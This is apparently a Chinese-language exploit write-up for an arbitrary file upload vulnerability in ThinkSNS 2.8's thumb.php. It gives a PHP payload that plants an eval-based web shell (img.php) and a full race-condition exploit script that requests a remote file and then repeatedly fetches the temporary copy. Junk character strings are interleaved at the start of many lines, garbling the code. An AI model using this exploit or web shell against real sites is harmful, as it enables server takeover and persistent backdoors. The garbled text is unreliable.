Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
4 e3 `# d; N! A* f, A9 b) q5 J漏洞文件
0 C6 {& l3 c$ L$ j0 A9 f存在漏洞的文件为：thumb.php
. S, b- R( G0 x: x作者：韦鲲鹏
1、        准备如下PHP文件并上传到服务器（自己的）。
文件内容如下：
0 w% x6 y# \% }1 o% D: C2 [<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
2、        计算出临时的文件名：
- N. @% A$ w) e! Q' B这里我们可以看文件的99行（刚刚是不是没注意呀！）。

3、        上传临时文件。
4、        访问临时文件。
但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
Exploit文件内容如下：（这个我就不详细解释了）
<?php
6 X3 }6 N% _+ {# r4 g0 yerror_reporting(0);
) |  G! T5 [8 V& I9 K0 l3 v# oset_time_limit(0);
) i5 t! o9 ]# S1 w8 }ini_set(“default_socket_timeout”, 5);
function http_send($host, $port, $headers) {
" e. x% R/ e4 n$fp = fsockopen($host, $port);
' y3 z$ o! n6 ^if (!$fp) die(‘Connection -> fail’);
0 r( x( K: s( y5 b0 _) I6 @fputs($fp, $headers);
return $fp;
+ l  ~* O& z+ w0 ^9 B% f}
function http_recv($fp) {
6 _1 w2 h. U+ u$ R& k/ l( V% S" _$ret=”";
while (!feof($fp))
  s. `$ S  p2 d+ }$ret.= fgets($fp, 1024);
fclose($fp);
, O# V# M( O& C2 Ereturn $ret;
; L+ }8 v2 |8 J0 w8 o* W4 w}
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
print “# Discovered by 韦鲲鹏 #\n\n”;
if ($argc < 4) {
7 X/ ~/ N! w7 x1 x: ?* Oprint “Usage:   php <host> <path> <romote_url>\n”;
( L, g: f1 K* D3 |2 q1 b: Vprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
die();
9 R1 \2 J; F! y" ?}
$host = $argv[1];
7 w6 l  u' w, v. k5 A+ r, H& z2 B4 z$path = $argv[2];
$url = $argv[3];
$i=0;
//上传数据包
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
! n# @& x: R! E( z2 E$headers_up .= “Host: “.$host.”\r\n”;
$headers_up .= “Connection: close\r\n\r\n”;
echo $headers_up;
//临时文件访问数据包
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
0 b9 F7 d" a( w" q+ secho $headers;
6 s" Q  k2 q  E1 f! e- Kwhile(++$i<10) {
! D0 Q" u6 V( |fclose(http_send($host, 80, $headers));
; R7 {; @* O$ ^$ u}
1 }9 ~+ T; v0 x2 L- w1 I6 ?, wfclose(http_send($host, 80, $headers_up));
while(++$i<50) {
) u& t9 l$ L; _8 M3 |+ Ffclose(http_send($host, 80, $headers));
}
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
+ |0 k5 i7 r& f1 n7 k& ?5 R$headers .= “Host: “.$host.”\r\n”;
$ c7 F$ ?5 D4 P4 @& F+ ]* a$headers .= “Connection: close\r\n\r\n”;
$res=http_recv(http_send($host, 80, $headers));
if(preg_match(‘/200 OK/’,$res)) {
print “Success!\n\n”;
! s  j7 R0 P$ R& W} else {
. l, `! }5 D+ i0 l9 {& ]1 H# u# Lprint “Fail!\n\n”;
$ r/ T) X& v; O  v) F  Y}
# Q9 l( c0 O; b?>
2 @8 K) @! E0 |2 w8 f2 t' B​